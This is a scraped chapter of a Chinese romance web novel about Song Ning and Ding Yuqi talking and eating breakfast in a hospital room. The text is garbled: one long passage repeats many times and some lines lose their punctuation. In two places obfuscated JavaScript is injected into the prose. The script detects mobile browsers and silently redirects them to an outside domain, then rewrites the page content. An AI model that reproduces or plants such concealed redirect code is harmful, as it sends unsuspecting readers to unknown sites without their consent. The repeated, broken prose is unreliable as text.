人还是得承认,吃饱肚子才是硬道理。 宋凝也看出来了,他比两天前离开的时候瘦了一些,眼圈和脸颊都有些微微凹进去了,显得整个脸部轮廓更加棱角分明。 他本身的样貌就偏向于桀骜不驯,此时又精瘦了一些,再加上这些天训练的时候晒出来的黑了好几个色号的皮肤,骨骼在皮肤表面支撑起凌厉的沟壑,整个人都更加散发出一种野性的张力。 男性的气息蔓延在整个房间里,宋凝不知道该怎么形容这种 味道。 微微的汗味,夹杂着一丝丝若有似无的烟草味,还有他身上蒸腾出的热气。 不难闻。 但存在感特别强。 仿佛自然界里用气味标记领地的雄兽。 把这个房间,连同房间里的她,全都染上了他的气息。 宋凝微微别开脸去,睫毛纤长,颤抖了一下之后微微向下收敛住。 丁予期一直在留意着她脸上的表情,见她此时有些避开地意思,而且脸颊似乎还染上了一层不自然的绯红,顿时来了兴致,轻笑着问道:“干嘛不敢看我?” 宋凝微愠:“我哪儿不敢看你了?” “那你别开脸做什么?” “我……”宋凝大脑运转飞快:“你不是饿了么?省点力气吧,别总跟我吵架。” 丁予期半躺在床头,眼中含着微微的笑意:“我们哪儿吵架了?这不是我们两个一贯的相处方式么。” 他说的倒也不错,而且声音温柔了许多,轻轻的,缓缓的。 宋凝一时分不清他是饿的虚弱无力,还是本身语气就是这么温柔和缓。 宋凝深吸了一口气,“你……就不怕自己万一回不来了?” “怕啊,怎么不怕。” 宋凝白了他一眼:“我还以为天下没什么东西能让你小丁总害怕的。” “宋凝。” “怎么?” 丁予期的目光落在她的脸颊上,温柔却带着一些怜惜:“我是人,不是哪吒也不是孙悟空,我当然也是会害怕的。即便是哪吒和孙悟空,也会害怕失去自己最重要的人,倘若是李靖或者唐僧被伤害了,强大如他们两个也会心生害怕的。” 宋凝明白他的意思。 他在说,上次她被傅东擎带到公海上的那一次。 他有外公的权势为倚仗,也有苏菲和两个哥哥的保驾护航,可即便是这样,她依旧在他眼皮子底下被傅东擎带走了,当动用那么大的人力物力都找不到她的时候,他也是会害怕的。 宋凝垂着眸子,轻声说道:“就算是要救人,也要顾及自己的生命安危。” 可丁予期却说:“我除了是丁予期之外,还是一名军人。保护人民财产安全,是军人的天职。况且那个时候情况危急,回来搬救兵再赶去救人恐怕就来不及了,我只能冒险试一试。” 不知道是不是宋凝的错觉,每次再提到“军人”这个身份的时候,丁予期连语气都会显得铿锵有力起来。 或许是从小就在军营里摸爬滚打长大,才让他培养了这样的使命感和荣誉感吧。 丁予期接着说道:“而且我做事心里有数的,如果没有七八成把握,不会贸然送命的。你不是也说了,我是个诡计多端的人?我这种阴险狡诈的,没有那么容易死的。” 宋凝没想到他居然听过这句话,有些微微惊讶:“你外公告诉你的?” 丁予期以为她生气了,轻声安抚道:“外公以为你讨厌我,所以让我以后多注意点,不要太诡计多端了,免得吓着你。” 宋凝叹了口气:“我不讨厌你。” 丁予期猛地抬起头来:“你说什么?” 宋凝有些微微的局促:“我说,我不讨厌你。不管怎么说,没有你我都不能顺利跟傅东擎离婚,就冲着这一点,你的阴险狡诈就算是帮了我,我没法讨厌你。” 丁予期不禁莞尔:“嘶,可是之前是谁见了我就跟一只炸了**的小猫一样,弓起身子冲我龇牙?” 他说的是以前。 “那时候我以为你对我横竖都不满意,跟傅学森和蒋秀兰一样,觉得我配不上你的亲亲好兄弟傅东擎,处处找我的茬,我才反击一下的。” 丁予期眼里噙着笑:“那后来呢?” 后来,宋凝才发现她误会大了。 味道。 微微的汗味,夹杂着一丝丝若有似无的烟草味,还有他身上蒸腾出的热气。 不难闻。 但存在感特别强。 仿佛自然界里用气味标记领地的雄兽。 把这个房间,连同房间里的她,全都染上了他的气息。 宋凝微微别开脸去,睫毛纤长,颤抖了一下之后微微向下收敛住。 丁予期一直在留意着她脸上的表情,见她此时有些避开地意思,而且脸颊似乎还染上了一层不自然的绯红,顿时来了兴致,轻笑着问道:“干嘛不敢看我?” 宋凝微愠:“我哪儿不敢看你了?” “那你别开脸做什么?” “我……”宋凝大脑运转飞快:“你不是饿了么?省点力气吧,别总跟我吵架。” 丁予期半躺在床头,眼中含着微微的笑意:“我们哪儿吵架了?这不是我们两个一贯的相处方式么。” 他说的倒也不错,而且声音温柔了许多,轻轻的,缓缓的。 宋凝一时分不清他是饿的虚弱无力,还是本身语气就是这么温柔和缓。 宋凝深吸了一口气,“你……就不怕自己万一回不来了?” “怕啊,怎么不怕。” 宋凝白了他一眼:“我还以为天下没什么东西能让你小丁总害怕的。” “宋凝。” “怎么?” 丁予期的目光落在她的脸颊上,温柔却带着一些怜惜:“我是人,不是哪吒也不是孙悟空,我当然也是会害怕的。即便是哪吒和孙悟空,也会害怕失去自己最重要的人,倘若是李靖或者唐僧被伤害了,强大如他们两个也会心生害怕的。” 宋凝明白他的意思。 他在说,上次她被傅东擎带到公海上的那一次。 他有外公的权势为倚仗,也有苏菲和两个哥哥的保驾护航,可即便是这样,她依旧在他眼皮子底下被傅东擎带走了,当动用那么大的人力物力都找不到她的时候,他也是会害怕的。 宋凝垂着眸子,轻声说道:“就算是要救人,也要顾及自己的生命安危。” 可丁予期却说:“我除了是丁予期之外,还是一名军人。保护人民财产安全,是军人的天职。况且那个时候情况危急,回来搬救兵再赶去救人恐怕就来不及了,我只能冒险试一试。” 不知道是不是宋凝的错觉,每次再提到“军人”这个身份的时候,丁予期连语气都会显得铿锵有力起来。 或许是从小就在军营里摸爬滚打长大,才让他培养了这样的使命感和荣誉感吧。 丁予期接着说道:“而且我做事心里有数的,如果没有七八成把握,不会贸然送命的。你不是也说了,我是个诡计多端的人?我这种阴险狡诈的,没有那么容易死的。” 宋凝没想到他居然听过这句话,有些微微惊讶:“你外公告诉你的?” 丁予期以为她生气了,轻声安抚道:“外公以为你讨厌我,所以让我以后多注意点,不要太诡计多端了,免得吓着你。” 宋凝叹了口气:“我不讨厌你。” 丁予期猛地抬起头来:“你说什么?” 宋凝有些微微的局促:“我说,我不讨厌你。不管怎么说,没有你我都不能顺利跟傅东擎离婚,就冲着这一点,你的阴险狡诈就算是帮了我,我没法讨厌你。” 丁予期不禁莞尔:“嘶,可是之前是谁见了我就跟一只炸了**的小猫一样,弓起身子冲我龇牙?” 他说的是以前。 “那时候我以为你对我横竖都不满意,跟傅学森和蒋秀兰一样,觉得我配不上你的亲亲好兄弟傅东擎,处处找我的茬,我才反击一下的。” 丁予期眼里噙着笑:“那后来呢?” 后来,宋凝才发现她误会大了。 味道。 微微的汗味,夹杂着一丝丝若有似无的烟草味,还有他身上蒸腾出的热气。 不难闻。 但存在感特别强。 仿佛自然界里用气味标记领地的雄兽。 把这个房间,连同房间里的她,全都染上了他的气息。 宋凝微微别开脸去,睫毛纤长,颤抖了一下之后微微向下收敛住。 丁予期一直在留意着她脸上的表情,见她此时有些避开地意思,而且脸颊似乎还染上了一层不自然的绯红,顿时来了兴致,轻笑着问道:“干嘛不敢看我?” 宋凝微愠:“我哪儿不敢看你了?” “那你别开脸做什么?” “我……”宋凝大脑运转飞快:“你不是饿了么?省点力气吧,别总跟我吵架。” 丁予期半躺在床头,眼中含着微微的笑意:“我们哪儿吵架了?这不是我们两个一贯的相处方式么。” 他说的倒也不错,而且声音温柔了许多,轻轻的,缓缓的。 宋凝一时分不清他是饿的虚弱无力,还是本身语气就是这么温柔和缓。 宋凝深吸了一口气,“你……就不怕自己万一回不来了?” “怕啊,怎么不怕。” 宋凝白了他一眼:“我还以为天下没什么东西能让你小丁总害怕的。” “宋凝。” “怎么?” 丁予期的目光落在她的脸颊上,温柔却带着一些怜惜:“我是人,不是哪吒也不是孙悟空,我当然也是会害怕的。即便是哪吒和孙悟空,也会害怕失去自己最重要的人,倘若是李靖或者唐僧被伤害了,强大如他们两个也会心生害怕的。” 宋凝明白他的意思。 他在说,上次她被傅东擎带到公海上的那一次。 他有外公的权势为倚仗,也有苏菲和两个哥哥的保驾护航,可即便是这样,她依旧在他眼皮子底下被傅东擎带走了,当动用那么大的人力物力都找不到她的时候,他也是会害怕的。 宋凝垂着眸子,轻声说道:“就算是要救人,也要顾及自己的生命安危。” 可丁予期却说:“我除了是丁予期之外,还是一名军人。保护人民财产安全,是军人的天职。况且那个时候情况危急,回来搬救兵再赶去救人恐怕就来不及了,我只能冒险试一试。” 不知道是不是宋凝的错觉,每次再提到“军人”这个身份的时候,丁予期连语气都会显得铿锵有力起来。 或许是从小就在军营里摸爬滚打长大,才让他培养了这样的使命感和荣誉感吧。 丁予期接着说道:“而且我做事心里有数的,如果没有七八成把握,不会贸然送命的。你不是也说了,我是个诡计多端的人?我这种阴险狡诈的,没有那么容易死的。” 宋凝没想到他居然听过这句话,有些微微惊讶:“你外公告诉你的?” 丁予期以为她生气了,轻声安抚道:“外公以为你讨厌我,所以让我以后多注意点,不要太诡计多端了,免得吓着你。” 宋凝叹了口气:“我不讨厌你。” 丁予期猛地抬起头来:“你说什么?” 宋凝有些微微的局促:“我说,我不讨厌你。不管怎么说,没有你我都不能顺利跟傅东擎离婚,就冲着这一点,你的阴险狡诈就算是帮了我,我没法讨厌你。” 丁予期不禁莞尔:“嘶,可是之前是谁见了我就跟一只炸了**的小猫一样,弓起身子冲我龇牙?” 他说的是以前。 “那时候我以为你对我横竖都不满意,跟傅学森和蒋秀兰一样,觉得我配不上你的亲亲好兄弟傅东擎,处处找我的茬,我才反击一下的。” 丁予期眼里噙着笑:“那后来呢?” 后来,宋凝才发现她误会大了。 味道。 微微的汗味,夹杂着一丝丝若有似无的烟草味,还有他身上蒸腾出的热气。 不难闻。 但存在感特别强。 仿佛自然界里用气味标记领地的雄兽。 把这个房间,连同房间里的她,全都染上了他的气息。 宋凝微微别开脸去,睫毛纤长,颤抖了一下之后微微向下收敛住。 丁予期一直在留意着她脸上的表情,见她此时有些避开地意思,而且脸颊似乎还染上了一层不自然的绯红,顿时来了兴致,轻笑着问道:“干嘛不敢看我?” 宋凝微愠:“我哪儿不敢看你了?” “那你别开脸做什么?” “我……”宋凝大脑运转飞快:“你不是饿了么?省点力气吧,别总跟我吵架。” 丁予期半躺在床头,眼中含着微微的笑意:“我们哪儿吵架了?这不是我们两个一贯的相处方式么。” 他说的倒也不错,而且声音温柔了许多,轻轻的,缓缓的。 宋凝一时分不清他是饿的虚弱无力,还是本身语气就是这么温柔和缓。 宋凝深吸了一口气,“你……就不怕自己万一回不来了?” “怕啊,怎么不怕。” 宋凝白了他一眼:“我还以为天下没什么东西能让你小丁总害怕的。” “宋凝。” “怎么?” 丁予期的目光落在她的脸颊上,温柔却带着一些怜惜:“我是人,不是哪吒也不是孙悟空,我当然也是会害怕的。即便是哪吒和孙悟空,也会害怕失去自己最重要的人,倘若是李靖或者唐僧被伤害了,强大如他们两个也会心生害怕的。” 宋凝明白他的意思。 他在说,上次她被傅东擎带到公海上的那一次。 他有外公的权势为倚仗,也有苏菲和两个哥哥的保驾护航,可即便是这样,她依旧在他眼皮子底下被傅东擎带走了,当动用那么大的人力物力都找不到她的时候,他也是会害怕的。 宋凝垂着眸子,轻声说道:“就算是要救人,也要顾及自己的生命安危。” 可丁予期却说:“我除了是丁予期之外,还是一名军人。保护人民财产安全,是军人的天职。况且那个时候情况危急,回来搬救兵再赶去救人恐怕就来不及了,我只能冒险试一试。” 不知道是不是宋凝的错觉,每次再提到“军人”这个身份的时候,丁予期连语气都会显得铿锵有力起来。 或许是从小就在军营里摸爬滚打长大,才让他培养了这样的使命感和荣誉感吧。 丁予期接着说道:“而且我做事心里有数的,如果没有七八成把握,不会贸然送命的。你不是也说了,我是个诡计多端的人?我这种阴险狡诈的,没有那么容易死的。” 宋凝没想到他居然听过这句话,有些微微惊讶:“你外公告诉你的?” 丁予期以为她生气了,轻声安抚道:“外公以为你讨厌我,所以让我以后多注意点,不要太诡计多端了,免得吓着你。” 宋凝叹了口气:“我不讨厌你。” 丁予期猛地抬起头来:“你说什么?” 宋凝有些微微的局促:“我说,我不讨厌你。不管怎么说,没有你我都不能顺利跟傅东擎离婚,就冲着这一点,你的阴险狡诈就算是帮了我,我没法讨厌你。” 丁予期不禁莞尔:“嘶,可是之前是谁见了我就跟一只炸了**的小猫一样,弓起身子冲我龇牙?” 他说的是以前。 “那时候我以为你对我横竖都不满意,跟傅学森和蒋秀兰一样,觉得我配不上你的亲亲好兄弟傅东擎,处处找我的茬,我才反击一下的。” 丁予期眼里噙着笑:“那后来呢?” 后来,宋凝才发现她误会大了。 味道。 微微的汗味,夹杂着一丝丝若有似无的烟草味,还有他身上蒸腾出的热气。 不难闻。 但存在感特别强。 仿佛自然界里用气味标记领地的雄兽。 把这个房间,连同房间里的她,全都染上了他的气息。 宋凝微微别开脸去,睫毛纤长,颤抖了一下之后微微向下收敛住。 丁予期一直在留意着她脸上的表情,见她此时有些避开地意思,而且脸颊似乎还染上了一层不自然的绯红,顿时来了兴致,轻笑着问道:“干嘛不敢看我?” 宋凝微愠:“我哪儿不敢看你了?” “那你别开脸做什么?” “我……”宋凝大脑运转飞快:“你不是饿了么?省点力气吧,别总跟我吵架。” 丁予期半躺在床头,眼中含着微微的笑意:“我们哪儿吵架了?这不是我们两个一贯的相处方式么。” 他说的倒也不错,而且声音温柔了许多,轻轻的,缓缓的。 宋凝一时分不清他是饿的虚弱无力,还是本身语气就是这么温柔和缓。 宋凝深吸了一口气,“你……就不怕自己万一回不来了?” “怕啊,怎么不怕。” 宋凝白了他一眼:“我还以为天下没什么东西能让你小丁总害怕的。” “宋凝。” “怎么?” 丁予期的目光落在她的脸颊上,温柔却带着一些怜惜:“我是人,不是哪吒也不是孙悟空,我当然也是会害怕的。即便是哪吒和孙悟空,也会害怕失去自己最重要的人,倘若是李靖或者唐僧被伤害了,强大如他们两个也会心生害怕的。” 宋凝明白他的意思。 他在说,上次她被傅东擎带到公海上的那一次。 他有外公的权势为倚仗,也有苏菲和两个哥哥的保驾护航,可即便是这样,她依旧在他眼皮子底下被傅东擎带走了,当动用那么大的人力物力都找不到她的时候,他也是会害怕的。 宋凝垂着眸子,轻声说道:“就算是要救人,也要顾及自己的生命安危。” 可丁予期却说:“我除了是丁予期之外,还是一名军人。保护人民财产安全,是军人的天职。况且那个时候情况危急,回来搬救兵再赶去救人恐怕就来不及了,我只能冒险试一试。” 不知道是不是宋凝的错觉,每次再提到“军人”这个身份的时候,丁予期连语气都会显得铿锵有力起来。 或许是从小就在军营里摸爬滚打长大,才让他培养了这样的使命感和荣誉感吧。 丁予期接着说道:“而且我做事心里有数的,如果没有七八成把握,不会贸然送命的。你不是也说了,我是个诡计多端的人?我这种阴险狡诈的,没有那么容易死的。” 宋凝没想到他居然听过这句话,有些微微惊讶:“你外公告诉你的?” 丁予期以为她生气了,轻声安抚道:“外公以为你讨厌我,所以让我以后多注意点,不要太诡计多端了,免得吓着你。” 宋凝叹了口气:“我不讨厌你。” 丁予期猛地抬起头来:“你说什么?” 宋凝有些微微的局促:“我说,我不讨厌你。不管怎么说,没有你我都不能顺利跟傅东擎离婚,就冲着这一点,你的阴险狡诈就算是帮了我,我没法讨厌你。” 丁予期不禁莞尔:“嘶,可是之前是谁见了我就跟一只炸了**的小猫一样,弓起身子冲我龇牙?” 他说的是以前。 “那时候我以为你对我横竖都不满意,跟傅学森和蒋秀兰一样,觉得我配不上你的亲亲好兄弟傅东擎,处处找我的茬,我才反击一下的。” 丁予期眼里噙着笑:“那后来呢?” 后来,宋凝才发现她误会大了。 味道。 微微的汗味,夹杂着一丝丝若有似无的烟草味,还有他身上蒸腾出的热气。 不难闻。 但存在感特别强。 仿佛自然界里用气味标记领地的雄兽。 把这个房间,连同房间里的她,全都染上了他的气息。 宋凝微微别开脸去,睫毛纤长,颤抖了一下之后微微向下收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291504|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敛住。 丁予期一直在留意着她脸上的表情,见她此时有些避开地意思,而且脸颊似乎还染上了一层不自然的绯红,顿时来了兴致,轻笑着问道:“干嘛不敢看我?” 宋凝微愠:“我哪儿不敢看你了?” “那你别开脸做什么?” “我……”宋凝大脑运转飞快:“你不是饿了么?省点力气吧,别总跟我吵架。” 丁予期半躺在床头,眼中含着微微的笑意:“我们哪儿吵架了?这不是我们两个一贯的相处方式么。” 他说的倒也不错,而且声音温柔了许多,轻轻的,缓缓的。 宋凝一时分不清他是饿的虚弱无力,还是本身语气就是这么温柔和缓。 宋凝深吸了一口气,“你……就不怕自己万一回不来了?” “怕啊,怎么不怕。” 宋凝白了他一眼:“我还以为天下没什么东西能让你小丁总害怕的。” “宋凝。” “怎么?” 丁予期的目光落在她的脸颊上,温柔却带着一些怜惜:“我是人,不是哪吒也不是孙悟空,我当然也是会害怕的。即便是哪吒和孙悟空,也会害怕失去自己最重要的人,倘若是李靖或者唐僧被伤害了,强大如他们两个也会心生害怕的。” 宋凝明白他的意思。 他在说,上次她被傅东擎带到公海上的那一次。 他有外公的权势为倚仗,也有苏菲和两个哥哥的保驾护航,可即便是这样,她依旧在他眼皮子底下被傅东擎带走了,当动用那么大的人力物力都找不到她的时候,他也是会害怕的。 宋凝垂着眸子,轻声说道:“就算是要救人,也要顾及自己的生命安危。” 可丁予期却说:“我除了是丁予期之外,还是一名军人。保护人民财产安全,是军人的天职。况且那个时候情况危急,回来搬救兵再赶去救人恐怕就来不及了,我只能冒险试一试。” 不知道是不是宋凝的错觉,每次再提到“军人”这个身份的时候,丁予期连语气都会显得铿锵有力起来。 或许是从小就在军营里摸爬滚打长大,才让他培养了这样的使命感和荣誉感吧。 丁予期接着说道:“而且我做事心里有数的,如果没有七八成把握,不会贸然送命的。你不是也说了,我是个诡计多端的人?我这种阴险狡诈的,没有那么容易死的。” 宋凝没想到他居然听过这句话,有些微微惊讶:“你外公告诉你的?” 丁予期以为她生气了,轻声安抚道:“外公以为你讨厌我,所以让我以后多注意点,不要太诡计多端了,免得吓着你。” 宋凝叹了口气:“我不讨厌你。” 丁予期猛地抬起头来:“你说什么?” 宋凝有些微微的局促:“我说,我不讨厌你。不管怎么说,没有你我都不能顺利跟傅东擎离婚,就冲着这一点,你的阴险狡诈就算是帮了我,我没法讨厌你。” 丁予期不禁莞尔:“嘶,可是之前是谁见了我就跟一只炸了**的小猫一样,弓起身子冲我龇牙?” 他说的是以前。 “那时候我以为你对我横竖都不满意,跟傅学森和蒋秀兰一样,觉得我配不上你的亲亲好兄弟傅东擎,处处找我的茬,我才反击一下的。” 丁予期眼里噙着笑:“那后来呢?” 后来,宋凝才发现她误会大了。 味道。 微微的汗味,夹杂着一丝丝若有似无的烟草味,还有他身上蒸腾出的热气。 不难闻。 但存在感特别强。 仿佛自然界里用气味标记领地的雄兽。 把这个房间,连同房间里的她,全都染上了他的气息。 宋凝微微别开脸去,睫毛纤长,颤抖了一下之后微微向下收敛住。 丁予期一直在留意着她脸上的表情,见她此时有些避开地意思,而且脸颊似乎还染上了一层不自然的绯红,顿时来了兴致,轻笑着问道:“干嘛不敢看我?” 宋凝微愠:“我哪儿不敢看你了?” “那你别开脸做什么?” “我……”宋凝大脑运转飞快:“你不是饿了么?省点力气吧,别总跟我吵架。” 丁予期半躺在床头,眼中含着微微的笑意:“我们哪儿吵架了?这不是我们两个一贯的相处方式么。” 他说的倒也不错,而且声音温柔了许多,轻轻的,缓缓的。 宋凝一时分不清他是饿的虚弱无力,还是本身语气就是这么温柔和缓。 宋凝深吸了一口气,“你……就不怕自己万一回不来了?” “怕啊,怎么不怕。” 宋凝白了他一眼:“我还以为天下没什么东西能让你小丁总害怕的。” “宋凝。” “怎么?” 丁予期的目光落在她的脸颊上,温柔却带着一些怜惜:“我是人,不是哪吒也不是孙悟空,我当然也是会害怕的。即便是哪吒和孙悟空,也会害怕失去自己最重要的人,倘若是李靖或者唐僧被伤害了,强大如他们两个也会心生害怕的。” 宋凝明白他的意思。 他在说,上次她被傅东擎带到公海上的那一次。 他有外公的权势为倚仗,也有苏菲和两个哥哥的保驾护航,可即便是这样,她依旧在他眼皮子底下被傅东擎带走了,当动用那么大的人力物力都找不到她的时候,他也是会害怕的。 宋凝垂着眸子,轻声说道:“就算是要救人,也要顾及自己的生命安危。” 可丁予期却说:“我除了是丁予期之外,还是一名军人。保护人民财产安全,是军人的天职。况且那个时候情况危急,回来搬救兵再赶去救人恐怕就来不及了,我只能冒险试一试。” 不知道是不是宋凝的错觉,每次再提到“军人”这个身份的时候,丁予期连语气都会显得铿锵有力起来。 或许是从小就在军营里摸爬滚打长大,才让他培养了这样的使命感和荣誉感吧。 丁予期接着说道:“而且我做事心里有数的,如果没有七八成把握,不会贸然送命的。你不是也说了,我是个诡计多端的人?我这种阴险狡诈的,没有那么容易死的。” 宋凝没想到他居然听过这句话,有些微微惊讶:“你外公告诉你的?” 丁予期以为她生气了,轻声安抚道:“外公以为你讨厌我,所以让我以后多注意点,不要太诡计多端了,免得吓着你。” 宋凝叹了口气:“我不讨厌你。” 丁予期猛地抬起头来:“你说什么?” 宋凝有些微微的局促:“我说,我不讨厌你。不管怎么说,没有你我都不能顺利跟傅东擎离婚,就冲着这一点,你的阴险狡诈就算是帮了我,我没法讨厌你。” 丁予期不禁莞尔:“嘶,可是之前是谁见了我就跟一只炸了**的小猫一样,弓起身子冲我龇牙?” 他说的是以前。 “那时候我以为你对我横竖都不满意,跟傅学森和蒋秀兰一样,觉得我配不上你的亲亲好兄弟傅东擎,处处找我的茬,我才反击一下的。” 丁予期眼里噙着笑:“那后来呢?” 后来,宋凝才发现她误会大了。 味道。 微微的汗味,夹杂着一丝丝若有似无的烟草味,还有他身上蒸腾出的热气。 不难闻。 但存在感特别强。 仿佛自然界里用气味标记领地的雄兽。 把这个房间,连同房间里的她,全都染上了他的气息。 宋凝微微别开脸去,睫毛纤长,颤抖了一下之后微微向下收敛住。 丁予期一直在留意着她脸上的表情,见她此时有些避开地意思,而且脸颊似乎还染上了一层不自然的绯红,顿时来了兴致,轻笑着问道:“干嘛不敢看我?” 宋凝微愠:“我哪儿不敢看你了?” “那你别开脸做什么?” “我……”宋凝大脑运转飞快:“你不是饿了么?省点力气吧,别总跟我吵架。” 丁予期半躺在床头,眼中含着微微的笑意:“我们哪儿吵架了?这不是我们两个一贯的相处方式么。” 他说的倒也不错,而且声音温柔了许多,轻轻的,缓缓的。 宋凝一时分不清他是饿的虚弱无力,还是本身语气就是这么温柔和缓。 宋凝深吸了一口气,“你……就不怕自己万一回不来了?” “怕啊,怎么不怕。” 宋凝白了他一眼:“我还以为天下没什么东西能让你小丁总害怕的。” “宋凝。” “怎么?” 丁予期的目光落在她的脸颊上,温柔却带着一些怜惜:“我是人,不是哪吒也不是孙悟空,我当然也是会害怕的。即便是哪吒和孙悟空,也会害怕失去自己最重要的人,倘若是李靖或者唐僧被伤害了,强大如他们两个也会心生害怕的。” 宋凝明白他的意思。 他在说,上次她被傅东擎带到公海上的那一次。 他有外公的权势为倚仗,也有苏菲和两个哥哥的保驾护航,可即便是这样,她依旧在他眼皮子底下被傅东擎带走了,当动用那么大的人力物力都找不到她的时候,他也是会害怕的。 宋凝垂着眸子,轻声说道:“就算是要救人,也要顾及自己的生命安危。” 可丁予期却说:“我除了是丁予期之外,还是一名军人。保护人民财产安全,是军人的天职。况且那个时候情况危急,回来搬救兵再赶去救人恐怕就来不及了,我只能冒险试一试。” 不知道是不是宋凝的错觉,每次再提到“军人”这个身份的时候,丁予期连语气都会显得铿锵有力起来。 或许是从小就在军营里摸爬滚打长大,才让他培养了这样的使命感和荣誉感吧。 丁予期接着说道:“而且我做事心里有数的,如果没有七八成把握,不会贸然送命的。你不是也说了,我是个诡计多端的人?我这种阴险狡诈的,没有那么容易死的。” 宋凝没想到他居然听过这句话,有些微微惊讶:“你外公告诉你的?” 丁予期以为她生气了,轻声安抚道:“外公以为你讨厌我,所以让我以后多注意点,不要太诡计多端了,免得吓着你。” 宋凝叹了口气:“我不讨厌你。” 丁予期猛地抬起头来:“你说什么?” 宋凝有些微微的局促:“我说,我不讨厌你。不管怎么说,没有你我都不能顺利跟傅东擎离婚,就冲着这一点,你的阴险狡诈就算是帮了我,我没法讨厌你。” 丁予期不禁莞尔:“嘶,可是之前是谁见了我就跟一只炸了**的小猫一样,弓起身子冲我龇牙?” 他说的是以前。 “那时候我以为你对我横竖都不满意,跟傅学森和蒋秀兰一样,觉得我配不上你的亲亲好兄弟傅东擎,处处找我的茬,我才反击一下的。” 丁予期眼里噙着笑:“那后来呢?” 后来,宋凝才发现她误会大了。 第二百零四章 **尚未成功,同志仍需努力 “后来我发现你们男人的友情非常塑料。” 丁予期想了想说:“我跟老姚大拿他们还是很铁的。” 宋凝点了点头:“我明白。” 他跟傅东擎的塑料兄弟情多半是因为她。 丁予期像是看穿了她心中所想轻笑着说道:“所有人都以为我抢了兄弟的女人不是什么正人君子恐怕连你都这么以为。宋凝不要把这件事都归因到你身上如果不是你我应该不会跟傅东擎去做兄弟的。” “你不喜欢他?” 丁予期挑眉:“我纯纯异性恋。” 宋凝瞪他:“你知道我说的不是这个意思。” 丁予期淡淡开口:“我跟傅东擎的成长环境不同各种观念差距其实很大。他是傅家的独子从小就被寄予厚望而我从小几乎没怎么被当做继承人培养过丁家有我大哥二哥他们两个斗法都已经让我爸妈一个头两个大了我被送到外公这里之后也跟普通的士兵一样训练根本没有特殊待遇。” 对于他的成长环境宋凝这些日子也算是了解了一些了。 “你外公……把你教的很出色。” 丁予期哈哈笑:“老头子要是听到你这么夸他估计胡子都得飞到天上去。” 说了一会儿话屋子里还是响起了肚子咕咕叫的声音。 宋凝天人交战一番最终还是看在丁予期是病人的份上挪了挪椅子的方向问:“需要我扶你坐过来么?” 言外之意就是要他自己坐下吃早饭。 可丁予期却是得寸进尺道:“需要。” 宋凝深呼吸一口马上又要问他是不是她太给他脸了的时候他嘶声倒吸了一口凉气抬起了伤痕累累的手。 算了!这次就看在丁予期是为了救人才变成这样的份上帮他一次吧! 宋凝帮人帮到底索性拆开一双新筷子夹了个蘸过醋的小笼包喂到了他嘴边等他吃了便狡黠道:“嗯 丁予期对此毫不在意没忘记吃完了再评价道:“那它吃的东西肯定没有我吃的东西好吃。” 这股子跟滚滚争风吃醋的劲儿真是明显到连装都不想装了。 宋凝觉得丁予期实在幼稚然而包子都喂过一个了不把这顿饭喂完似乎也不合适。 今天这顿早饭吃的比以往任何时候都来得更慢。 宋凝起初压根没把喂饭当成一回事只把自己当成护工也就是了可他全程都在用温柔无比的目光凝望着她 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 ,哪怕嘴上说着跟他斗气的话也不例外。 一袋早餐就这样被吃空了。 宋凝不动声色的在心底舒出一口气,起身就要把桌面收拾干净,结果因为太过紧张,不慎把手给磕到了桌子一角上。 丁予期吃早餐的时候还在肩不能挑手不能扛的装柔弱,这时见宋凝有可能受伤,却是立刻就把伤病给抛到脑后去了,起身焦灼道:“快让我看看磕到哪儿了,疼不疼?” 他站在她身侧俯首去看她的手,丝毫没意识到这姿势看在不知情的人眼里,就跟他把她搂在怀里没区别。 恰在此时,病房门很不巧的响了一声。 两人不约而同的侧过脸去,恰好对上站在门边的人的目光,三人面面相觑,都不知道该说点什么好。 末了还是来人硬着头皮自我介绍:“那个,我姓王,是被丁先生救回来的驴友,来这一趟没有别的意思,就是听说他也脱离危险了,所以过来看看,没想到刚好赶上……呃,你们先忙你们的。” 话音未落,他急急忙忙的就要走,还是宋凝尴尬的把人叫住道:“我刚好有事要出去透透气,你们聊吧!” 宋凝用最快的速度消失在了病房门外。 王哥倒是想拦人,但是已经来不及了,只能摸着后脑勺,局促的对丁予期致歉:“真是不好意啊,我来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302929|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太不是时候了。” 丁予期原本也没指望能在这么短时间就跟宋凝有太大的进展,摇头表示没什么,然后反过来跟他聊了些户外活动相关的注意事项,好让他以后再遇到危险却没人救的时候至少能做到自救。 “丁先生,你放心,这次真的是意外,以后我再遇到……不,以后我不会再遇到类似的情况了,因为我就不会再在天气恶劣的情况下冒险行动。” 王哥自知是给他们添了麻烦,所以态度特别的好,做完保证之后,不忘感怀几句丁予期的个人生活:“丁先生,说句实在话,我真是特别羡慕你跟女朋友的感情,你们一看就非常的相爱。” 他从自身角度出发,理所当然的把丁予期和宋凝当成了一对,并且还是感情正浓的年轻情侣,丝毫没想过他所见的场景完全是个误会。 丁予期没有解释,反而很受用的笑了一下问:“这是怎么看出来的?” “凡是长了眼睛的人都看的出来。”王哥见了他的态度,把自己的猜测说的更笃定了。 